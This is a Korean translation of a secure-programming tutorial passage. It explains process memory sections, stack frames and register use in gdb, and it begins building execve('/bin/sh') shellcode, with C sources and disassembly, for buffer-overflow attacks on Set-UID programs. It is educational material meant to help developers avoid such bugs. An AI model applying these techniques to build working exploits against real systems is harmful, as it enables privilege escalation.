|
|
This document is available in: English Castellano Deutsch Francais Nederlands Russian Turkce Korean |
/글쓴이 : Frédéric Raynal, Christophe Blaess, Christophe Grenier 글쓴이 소개: Christophe Blaess는 항공엔지니어이다. 그는 리눅스 팬으로 리눅스 시스템으로 많은 일을 스행하고 있다. 그리고 Linux문서화프로젝트에서 man페이지의 번역을 맡고 있다. Christophe Grenier는 ESIEA에서 5년차 학생이면서 시스템 관리자로 활동중이다. is a 5th year student at the ESIEA, where he 컴퓨터 보안에 많은 관심이 있다. Frédéric Raynal는 리눅스롤 오래전부터 사용해 왔다.리눅스는 환경을 오염시키지도 않고 호르몬을 사용하지도 않고 동물성 기름도 없이 단지 땀과 노력을 기반으로 발전해 나가기 떄문에 좋아한다고... 차례: |
요약:
이번에 기획된 연재들은 applications 에서 나타날수 있는 보안 문제점들에 중점을 두고 있다. 그리고 프로그램 개발시 약간만 노력한다면 이러한 문제점은 피할 수 있다는 것을 보여주고 있다.
이번글에서는 메모리의 구조와 계층,그리고 funtion 과 memory의 관계에 대해서 다루었다. 또한 이글의 마지막부분에서는 shellcode를 만드는 방법을 다루었다. shellcode.
우리는 일반적으로, 명령어들로 이루어져 있으며,기계어로 표현된 것을(이것을 프로그래밍하는 언어와는 상관없이) binary라고 부른다. binary file을 얻기 위해 처음 compile할 때, program source는 변수(variable),상수(constants),명령어(instructions) 등을 보관한다. 이 장에서는 binary의 각 부분이 메모리에서 어떻게 배치되는지를 알아보고자 한다.
실행파일(binary)이 실행되는 동안 어떤일이 일어나는지 이해하기 위해서 메모리의 구조를 살펴보기로 하자. 그림에서와 같이 여러가지 영역이 메모리에 존재한다.
위의 그림이 메모리 구조의 모든 것을 보여주고 있진 않지만, 이 글에서 중점적으로 다룰 내용에 대한 메모리 구조를 잘 보여주고 있다.
아래에 나오는size -A file --radix 16
이란 명령은 compile될때 각각의 영역이 차지하는 크기를 보여주는
명령이다. 이 명령을 통해서 각각의 영역에 대한
메모리 주소를 얻을 수 있다(이와 같은 정보는 objdump
라는
명령어를 통해서도 얻을 수 있다.). 여기에서는 "fct" 라는
실행파일(binary)의 size
를 예로 들었다.
>>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini 0x1a 0x804844c .rodata 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss 0x18 0x804955c .stab 0x978 0x0 .stabstr 0x13f6 0x0 .comment 0x16e 0x0 .note 0x78 0x8049574 Total 0x23c8
text
영역은 프로그램의 명령어들(instructions)이 저장되며,
이 영역은 read-only영역이다. 이 영역은 같은 실행파일이
여러개 실행중일때 모든 프로세스(process)가 공유하는 영역이다.
이 영역에 대한 쓰려는 시도는 segmentation violation error를
가져올 것이다.
다른 영역에 대해 설명하기 전에, C언어에서의 변수(varilable)에
관해서 몇가지 알아보자. 전역변수(global variables)를 선언
하면, 프로그램 전체에서 전역변수가 유효한 반면, 지역변수(
local variables)를 선언하면 그 지역변수가 선언된 함수안에서만,
유효한 값을 가진다. 정적 변수(static variables)를 선언하면,
선언된 데이터 유형의 크기만큼의 공간을 확보한다. 이 데이터
유형으로는 char
,int
,double
,
pointer(C 에서 *와 함께 표현되는pointer형 변수를 말한다.)등이 있다.
PC타입의 컴퓨터에서 포인터(pointer)는 32bit의 정수형 주소체계(integer address)로
표현된다. static영역의 크기는 컴파일되는 동안 정확히는 알 수
없다.동적변수(dynamic variable)는 명시적으로 메모리 영역을 할당하므로,
포인터가 이 할당된 주소를 가르키고 있다. global/local,static/dynamic
변수들은 같이 사용하여도 상관없다.
다시, 위에서 살펴본 메모리 구조로 넘어가 보자. data영역은
초기화된 정적 전역 data
(the initialized global static
data)가 저장되는 반면(이 값은 컴파일시 제공된다.), bss
segment는 초기화되지 않은 전역 data(global data)가 저장된다.
이 영역은 그들이 가지고 있는 objects에 의해 정의된 그들의
크기가 있기 때문에 컴파일될때 보존된다.
그렇다면 컴파일시 지역변수와 동적변수는 어떻게 될까? 이들은 프로그램 실행을 위해 메모리 영역에 무리지어 저장된다( 이들은 user stack frame이라는 것을 생성하여 이곳에 저장된다.). 함수가 반복적으로 호출되기 때문에 지역변수의 instances 갯수는 사전에 알 수 없다. 지역변수를 생성하면, 이들은 stack에 넣어지게 된다. 이 스택은 user address 공간에서 상위 메모리 주소번지의 최상위에 위치하며, LIFO(Last In, First Out)모델에 따라 동작한다. user frame영역의 아래쪽은 동적변수의 할당에 사용된다. 이부분을 heap영역이라 부른다. 이것은 동적변수와 포인터에 의해 가리켜지는 메모리 영역을 포함하고 있다. 32bit 체계에서 포인터 변수를 선언했을때, BSS또는 stack안의 어떤 정확한 주소를 가르키지는 않는다. 프로세서가 memory를 할당함으로서 (malloc같은 함수를 써서) 그 메모리의 첫번째 바이트의 주소가 포인터변수안으로 들어가게 된다.
아래의 예제는 메모리안에서 변수들이 어떤 계층에 속하는 지를 잘 보여주고 있다. :
/* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserves 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); }
Gnu/linux 디버거인 gdb
를 이용하여 이를 확인해보자.
>>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb)
breakpoint를 f()
시켜보자:
(gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 }
이제는 각각의 변수가 위치하는 곳을 확인해볼 차례다.
1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print ¬hing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065
1번 명령(print &index
)은 전역변수인
index
의 메모리 주소를 보여준다. 두번째 명령
(info
)는 index의 메모리주소와 symbol을 연결시켜서
메모리의 어떤 영역에 이 주소가 존재하는지를 보여준다:
index
는 초기화된 전역 정적 변수이므로
data
영역에 저장된다는 것을 이 명령을 통해
알 수 있다.
3번과 4번 명령어는 초기화되지 않은 정적 변수인
nothing
이 BSS
segment에 저장된다는 사실을
보여주고 있다.
5번명령은 str
을 보여주고 있다. 실제로는
str
변수의 내용을 보여주고 있으며 그 주소는
0x80495a8
이다. 6번 명령은 이 주소에는 아무런
변수도 정의되어 있지 않음을 보여주고 있다.
7번명령으로 str
변수의 주소를 얻어서,
8번명령으로 이 변수가 BSS
segment에 존재한다는
것을 보여주고 있다.
9번명령은 0x804959c
의 주소에 저장된 메모리
내용에 해당하는 것을 4bytes로 보여준다: 이 메모리
내용은 heap 영역에 존재한다. 10번명령은 문자열
"abcde"가 이 메모리 주소에 존재한다는 보여준다 :
hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e
지역변수인 c
와 i
는 스택에 저장된다.
우리는 프로그램에서 size
명령어를 통해 얻은
각각의 영역에 대한 크기가 우리가 기대한 값과
다르다는 사실을 알아야 한다. 크기가 다른
이유는 라이브러리에서 선언된 각종의 다른 변수들이
프로그램 실행시 나타나기 때문이다(gdb
에서
info variables
라는 명령을 통해 이들 모두를
얻을 수 있다.).
함수가 호출될 때마다, 지역 변수와 함수의 인자들을
위한 새로운 환경이 생성된다(여기에서 쓰인 환경
(environment)이란, 함수를 실행하는 동안 나타나는
모든 요소를 의미하며 여기에는 함수의 인자(arguments),
지역변수, return address등이 포함된다. 여기서
쓰인 환경이란 단어는 shell의 환경변수와는
다르므로 혼동하지 않길 바란다.). %esp
(extended stack pointer)는 스택의 최상위 주소를 가지고
있는 레지스터이며, 실제로 우리가 표현할 때는
최하위(bottom)에 표현된다. 하지만 스택에 더해지는
마지막 요소를 가리키고 있다는 점과 스택을
이해하는데 최상위(top)이란 표현이 더 잘 어울리므로
top이라고 계속 부를 것이다: 이것은 시스템 구조에
의존적이어서, 이 레지스터가 때로는 스택의
첫번째 빈 공간을 가리키고 있는 경우도 있다.
스택에서 지역변수의 주소는 %esp
에 대한 offset으로
표현된다. 그러나 %esp를 이용하면 인자들(items)를 스택에
넣고 빼고 하는 작업에 있어서 항상 각 변수의 offset을
재조정해야 하므로 매우 비효율적이다. 이러한 문제점을
해결하는 방안으로 %ebp
를 사용한다:%ebp(extended base
pointer)는 현재 함수의 환경이 시작되는 주소를 저장하고
있는 레지스터이다. 또한 이 레지스터에 대한 offset표현
이 가능하다. 그리고 함수가 실행되는 동안 변하지
않는다. 위에서 설명한 내용을 잘 이해하였다면, 함수안에서
지역변수나 인자를 쉽게 찾을 수 있을 것이다.
스택의 기본 단위는 word이다 : i386 CPU에서는 32bit, 즉
4bytes이다. 이것은 시스템에 따라 다르다. Alpha CPU에서의
word는 64bit이다. 스택은 오로지 words단위로만 다루어
지므로, 할당된 모든 변수는 같은 word size를 가지게
된다. 이부분에 대해서는 함수의 prolog부분에서 좀 더
자세히 다룰예정이다. 앞의 예에서 gdb
를 통하여
str
변수의 내용을 볼 수 있었는데, 이부분이 스택의
기본단위가 word라는 것을 잘 보여주고 있다. gdb
의
x
명령은 32bit word전체를 보여준다(이것은
왼쪽으로부터 오른쪽으로 읽는다.i386 CPU에서는
little endian구조를 가지고 있기 때문이다.).
스택에서 자주 쓰이는 2개의 cpu 명령어가 있다:
push value
:
이 명령은 스택의 최상위(top)에 value
를 집어 넣는다.
이명령은 스택에서 사용할 수 있는 다음 word의 주소를 얻고, word의
크기만큼 %esp
를 감소시킨다;pop dest
: 이명령은 스택의 최상위(top)있는 item을
dest에 넣는다. dest
안에는 %esp
가 가르키고 있는
주소값이 넣어지고 %esp
는 증가한다.실제로 스택에서 제거되는 것은
아무것도 없다. 다만 스택의 최상위 포인터만 변화한다.
정확히 레지스터라는 것이 무엇을 말하는 것일까? 간단하게 설명하자면,메모리에 연속적으로 words가 구성되는 동안 단지 한 word를 저장하고 있는 보관함정도로 이해하면 된다. 매시간마다 새로운 값이 레지스터에 들어가게 된다(이때 전에 저장된 값은 없어진다.).이밖에도, 레지스터는 메모리와 CPU사이에 직접통신이 가능하다는 특징을 가지고 있다.
레지스터이름의 제일 앞에 있는 'e
'는 "extended"를
의미하며, 이것은 16bit구조에서 32bit구조로의 변화를 나타낸다.
레지스터는 다음과 같이 4개부분으로 나눌 수 있다 :
%eax
, %ebx
,%ecx
,
%edx
가 여기에 속한다 ;%cs
, %ds
,
%esx
,%ss
가 여기에 속한다;%eip
(Extended Instruction Pointer) :
다음에 실행될 명령어에 대한 주소를 가리킨다;%ebp
(Extended Base Pointer) : 함수의
지역변수를 위한 환경이 시작되는 곳을 가리킨다;%esi
(Extended Source Index) : 메모리
block을 이용한 연산(operation)에서 data source offset을 가지고 있다;%edi
(Extended Destination Index) : 메모리
block을 이용한 연산(operation)에서 destination data offset을 가지고 있다;%esp
(Extended Stack Pointer) : 스택의
최상위(top)을 가리키고 있다;/* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }
이 장에서는 위에 있는 함수에서 일어나는 일을 스택과 레지스터에 초점을 맞추어 설명하려 한다. 어떤 공격은 프로그램의 실행방법의 변화를 통하여 이루어진다. 이러한 것을 이해하기 위하여, 일반적으로 어떤 일이 일어나는지에 대해서 아는 것은 중요한 일이다.
함수의 실행은 다음과 같이 세부분으로 나눌 수 있다 :
push %ebp mov %esp,%ebp push $0xc,%esp //여기서는 $0xc라는 값을 %esp 에서 빼주었는데 이값은 프로그램에 따라 다르게 나타날 수 있다.
이 세가지 명령어들을 우리는 prolog라 부른다.
diagram 1에서 toto()함수의
prolog부분에서 일어나는동작을 %ebp
와
%esp
레지스터를 통해 알 수 있다.:
처음에 %ebp 레지스터는 X 라는 메모리상의
어떤 address를 가르키고 있다. %esp 레지스터는
스택의 하위에 존재하며 가장 마지막으로 생성된 스택을
가르키고 있는 Y라는 address를 가지고 있다.
일단 함수 안에 들어오면 현재의 환경의 시작부분,즉,
%ebp 를 저장해야 한다. 이때문에 %ebp 를
스택에 넣고(push), %esp 는 %ebp 가 스택에
push되기 때문에 메모리 크기만큼 감소하게 된다. | |
두번째 명령은 함수에서 새로운 환경을 만드는 것을
허락한다. 이것은 스택의 제일 위에(top)에 %ebp
를 위치 시킴으로써 가능해진다. 이제 %esp 와
%ebp 는 똑같은 메모리 address를
가르키고 있다. (이 주소는 이전의 상태를 담고
있는 address 이다.[environment address]) | |
이제 스택에 지역 변수를 저장하기 위한 공간을
확보해야 한다. 이 문자열배열은 5개의 요소로
구성되어있고(char str[5] = "abcde";),char 형이
1 byte의 크기이기 때문에 5 bytes의 공간만
확보하면 충분할 것으로 보인다. 하지만 스택은
오직 words단위로 다루어지기 때문에 word의
배수(1 word, 2 words, 3 words...)로
저장되어야 한다. word가 4bytes일 경우 5bytes를
저장하기 위해서는 8bytes의 공간이 필요하다.(2 words)
그림에서 색칠된 부분은 문자열 부분은 아니지만
이러한 법칙에 의해서 공간이 사용된다.
int형 k 는 4 bytes의 공간을 사용한다.(int k = 3;)
이 공간은 %esp 에서 0xc (십진수로 12)
만큼의 값을 감소시킴으로써 확보된다. 이를 통해 지역변수는
8+4=12 bytes (i.e. 3 words)를 사용한다는 것을 알 수 있다. |
이 chapter의 내용에서는 조금 벗어난 이야기지만
지역변수에서 대해서 알아두어야 할 중요한 사항이 있다.
그것은 지역변수들이 %ebp
와 관련될때 음의 offset(negative offset)
을 가진다는 것이다. 예제의 main()
함수에서
i = 0;
이라는 명령을 통해서 이것을 살펴보려 한다.
assembly code에서는 간접주소방식으로 변수 i
를 access한다:
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
hex값 0xfffffffc
은 int 형 -4
를 의미한다.
이 표현은 값 0
을 %ebp
에 대해 -4bytes
떨어진 곳에 있는 변수에 저장한다 것을 의미한다.
i
는main()
함수에서 하나뿐인 지역변수이며
가장 먼저 나온 지역변수이므로 %ebp
아래 4bytes(int형의 size)
만큼 떨어진 곳에 위치한다. 함수의 prolog부분은 단지 호출된 함수를 위한 환경을 조성하는 역할 밖에 하지 않는다. 함수가 인자를 전달받고 그 함수의 수행이 끝났을 때 호출된 함수의 자리로 돌아가는 역할은 함수의 호출(the function call)이 담당한다.
예제에서의 함수호출부분은 toto(1,2);
이다.
그럼,toto()함수를 호출했을때 어떤일이 일어나는지 그림을 통해서
알아보도록 하자.
함수가 호출되기 전에 함수로 전달되는 인자들(toto(1,2);에서
1과2)은 스택에 저장된다. 따라서 그림에서처럼 1과 2는
최근에 사용된 스택의 시작부분에 먼저 쌓이게 된다. 그림에
나타난 것처럼 %eip 는 다음에 실행할 명령(instruction)
의 주소를 가지고 있으며 여기에서 그 주소는 바로 함수 호출
(the function call)명령이 있는곳의 주소이다. | |
push %eip call 의 인자(이글에서는 call 0x80483d0
toto() 의 0x80483d0 )로는 toto() 함수의
prolog부분의 첫번째 명령어 주소와 같은 값이 주어진다.
이 주소는 %eip 에 복사되며,<그림 5>에서와 같이
다음에 실행할 명령어(push %ebp )를 가르키게 된다. |
함수안에서 어떤 것이 실행될 때에는 그것의
인자들과 리턴 어드레스는 %ebp
에 대해 양의 offset(positive
offset)을 가진다. 이는 next instruction이 %ebp
를
스택의 최상위(top)에 넣기(push)하기 때문이다. toto()
함수안에
있는 j= 0;
이라는 명령을 가지고 이를 알아보자.
어셈블리 코드는 j
를 간접액세스하기 위해 사용되었다:
0x80483ed <toto+29>: movl $0x0,0xc(%ebp)
hex값 0xc
는 integer +12
를 나타낸다.
따라서 위의 명령은 %ebp
에 대하여 "+12bytes"만큼
떨어진 곳에 있는 변수에 0
이란 값을 넣겠다는 뜻이다.
j
는 함수의 두번째 인자이며, %ebp
의
최상위("on top")에서 12bytes떨어진 곳에 위치한다.
(4bytes는 instruction pointer backup(위에서 설명한
call의 동작을 말한다.)이고, 4bytes는 첫번째 인자(1)이고 그 다음
4bytes가 바로 두번째 인자의 자리이다.) 함수에서 벗어날 때에는 두가지 동작이 일어난다. 첫번째는,
함수를 위해 만들었던 환경을 깨끗이 없애는 것이다.
(이는 함수호출(call) 이전의 상태로 %ebp
와
%eip
를 돌려놔야 함을 의미한다.). 이것이 끝나면 우리는
함수와 관계된 정보를 얻기 위해 스택을 검사하고 함수를 빠져나가기만
하면 된다.
첫번째 동작은 함수에서 다음의 명령으로 수행된다 :
leave ret
두번째 동작은 함수가 호출되었을때 스택에 위치하는 함수의 인자를 스택에서 청소하는 작업을 한다.
toto()
함수를 가지고 이러한 동작을 살펴보기로 하자.
앞의 글에서 다룬 호출과 prolog가 일어나기 전의 상태에
대해서 다시 한번 떠올려 보자. 함수 호출이 일어나기 전에,
%ebp 는X 라는 주소를 가지고 있었고,
%esp 는 Y 라는 주소를 가지고 있었다.
그림에서 보듯이 함수가 호출되고 난 후에는 함수의 인자와
저장된 %eip (리턴 어드레스)와 %ebp (sfp)
,그리고 지역변수를 위한 공간이 확보되어 스택에 저장되어
있다. 이러한 동작들 이후에 실행될 명령이 바로 leave 이다. |
|
leave 명령은 아래의 명령어들을 수행하는 것과 같은
동작을 한다:
첫번째 동작은mov ebp esp pop ebp %esp 와 %ebp 를 스택에서
같은 위치에 놓는 역할을 한다. 두번째 동작은 스택의 최상위(top)에
있는 값(X 라는 address)을 %ebp 에 넣는
역할을 한다(%esp 와 %ebp 가 같은 위치를
가르키고 %ebp 가 pop되면 결과적으로 %esp
가 4바이트만큼 증가하게 된다.).leave 명령어 하나만으로,
스택에서 prolog동작을 하지 않은 것처럼 보이게 된다. |
|
ret 명령에는 함수가 수행되고 난 후(leaving)에
실행될 것의 주소를 가지고 있는 %eip 가 포함되어 있다.
이때문에 %eip 도 스택의 최상위(top)에서 제거시켜야 한다.
아직은 함수의 인자가 스택에 남아있으므로 초기화 상태가 되지 않았다.
이들을 제거하기 위해 |
|
인자들은 스택에 쌓여있다가 함수가 수행된 후에는 스택에서
사라지게 된다(unstacking). 이과정을 위의 그림에서 호출된 함수의
명령어와 호출한 함수의 명령어 add 0x8, %esp 로 나타냈다.
(호출된 함수(called function)과 호출한 함수(calling function)의
구분은 점선으로 하였다.). 이명령(add 0x8, %esp )은
%esp 를 스택의 최상위(top)으로 돌려놓는다.
여기서 0x8 은 toto() 함수의 인자들이
사용한 bytes수를 뜻한다. %esp ,%ebp 는
이제 함수호출(call)전의 상황이 되었다. 반면에 %eip 가
달라진 것을 그림을 통해서 알 수 있다. |
gdb를 사용하여 main()함수와 function()함수의 어셈블리 코드를 얻을 수 있다:
따로 주석을 달지 않은 부분의 명령들은 대부분 instance에 할당하는 명령들이다.>>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x8048480,%eax 0x80483db <toto+11>: mov %eax,0xfffffff8(%ebp) 0x80483de <toto+14>: mov 0x8048484,%al 0x80483e3 <toto+19>: mov %al,0xfffffffc(%ebp) 0x80483e6 <toto+22>: movl $0x3,0xfffffff4(%ebp) 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38> 0x80483f6 <toto+38>: leave //return from toto() 0x80483f7 <toto+39>: ret End of assembler dump.
함수의 return address를 임의의 주소로 조작할 경우 프로그램의 스택영역에서 특정코드를 실행시킬 수 있다. 이때, cracker의 관심을 끌어당기는 부분은 프로그램(application)이 user의 ID가 아닌 특정 ID,즉, Set-UID나 daemon으로 실행되고 있다는 사실일 것이다. 이런 종류의 실수가 document reader같은 프로그램에서 일어난다면 상당히 위험하다고 할 수 있다. 대표적인 예로 Acrobat Reader bug를 들 수 있는데 이 bug는 buffer overflow를 이용하여 문서를 조작할 수 있는 bug이다. 또한,이러한 위험성은 network services(i.e: imap) 에도 존재하고 있음을 알아두길 바란다.
다음 장에서는, 실행명령을 사용할 수 있는 방법에 대해서 다루고자 한다.
여기에서는 main application에서 실행되길 원하는 code에 대해서 분석한다.
실행명령을 사용하기 위한 가장 간단한 해결책은 shell을 실행시키는 간단한
코드를 만드는 것이다. 당신은 /etc/passwd
파일의 권한을
바꾸는 일등의 동작을 수행할 수 있게 될 것이다. 이것을 글의 마지막에
이르러서야 다루는 이유는 이 프로그램을 Assembly language로 짜야하기
때문이다. shell을 실행시키는 이런 작은 프로그램들을 일반적으로
shell라고 부른다.
이글에 쓰인 예제들은 Phrack magazine 49에 실린 Aleph One의 "Smashing the Stack for Fun and Profit"에서 많은 영감을 얻었다.
shellcode의 목적은 바로 shell을 실행시키는 것이다. 이것을 C언어로 구현하면 다음과 같다:
/* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); }
함수를 이용하여 shell을 호출하는일이 가능한데,
여러가지 이유로 execve()
함수가 많이 이용된다.
첫째는 exec()
계열의 다른 함수들과는 달리
표준 system-call(true system-call)이라는 것이다.
실제로, execve()
로 부터 다른 exec()
계열의
GlibC library 함수가 만들어졌다. system-call은 interrupt에 의해
실행된다. 이러한 특징은 레지스터를 정의하기에 충분하며,
그 함수의 내용물을 통해 효과적이며 짧은 assembly code를
얻을 수 있다는 장점을 가진다.
더구나,execve()
의 호출이 성공했을때는,
execve()
를 호출한 프로그램 (여기서는main application)이
새로운 프로그램의 실행가능한 코드(executable code)로
대체된다는 장점을 가진다. execve()
의
호출이 실패하더라도 프로그램은 계속 실행된다. 이글에서는
execve()
코드를 공격할 프로그램의 중간에 삽입하였다.
execve()
호출이 실패하더라도, 프로그램을 계속 실행시키는 것은
무의미하다. 실행은 가능하면 빨리 끝나야 한다. return(0)
을
main()
함수에서 호출하면 프로그램을 끝내는 역할을 하지만
여기서는 그 역할을 제대로 수행하지 못한다. 따라서 exit()
함수를
사용하여 프로그램을 강제로 종료시켜야 한다.
/* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); }
사실 exit()
는 실제 system-call인 _exit()
를 싸고 있는 또하나의 라이브러리 함수이다. 새로운 코드에서는
_exit()
를 써서 시스템쪽에 더 가깝게 하였다:
/* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); }다음장에서는 프로그램과 이 프로그램의 어셈블리 코드를 비교해볼 것이다.
gcc
와 gdb
를 이용하여 앞장에서
프로그래밍한것에 해당하는 assembly instruction을
얻을 수 있다. shellcode3.c
를 디버깅옵션(-g
)과
공유라이브러리를 포함하기 위한 옵션(--static
)
을 추가하여 컴파일한다. 이를 통하여, 우리는
system-call인 _execve()
와 _exit()
의 동작을
이해할 수 있는 충분한 정보를 얻을 수 있다.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static다음으로,
gdb
를 사용하여 프로그램의 어셈블리 코드를
살펴볼 것이다. 이것은 Inter플랫폼의 linux에서 테스트
한것이다.(i386과 그 위의 버전)
Next, with gdb
, we look for our functions Assembly
equivalent. This is for Linux on Intel platform (i386 and up).
$ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...아래는
main()
함수의 어셈블리 코드이다.
(gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb)위의 예를 통해,main()함수의
0x804818b
와 0x8048192
에서 실제적인 system-call을 가지고 있는 C library subroutine을 호출하는 것을
볼 수 있다.0x804817c : mov $0x8071ea8,%edx
명령어는
주소처럼 보이는 값을 %edx
에 채운다. 이 주소에 있는 내용을
아래 명령을 사용하여 문자열로 나타내보자:
(gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb)이제 우리는 문자열이 어디에 있는지 알았다.이제
execve()
함수와
_exit()
함수의 disassemble 코드를 살펴보자:
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quit실제 커널 호출은
0x80
interrupt를 통해 이루어진다.
execve()
함수는0x804d9d0
, _exit()
함수는 0x804d99b
에서 interrupt요청이 이루어진다.
이부분에서 알 수 있는 중요한 사항은 각종 system-call이 %eax
안에
그 내용이 저장되는 공통적인 특징을 가지고 있다는 것이다.위의
예를 통해, execve()
는 0x0B
라는 값을,
_exit()
는 0x01
이라는 값을
가지고 있음을 알 수 있다.
이러한 함수들의 어셈블리 명령어들을 분석해보면, 인자들이 어떻게 저장되는지를 알 수 있다:
execve()
함수는 각종 인수가 필요하다.(diag 4를 참조하라.) :
%ebx
는 실행할 명령이 표현된 문자열의 주소를 가지고 있다.
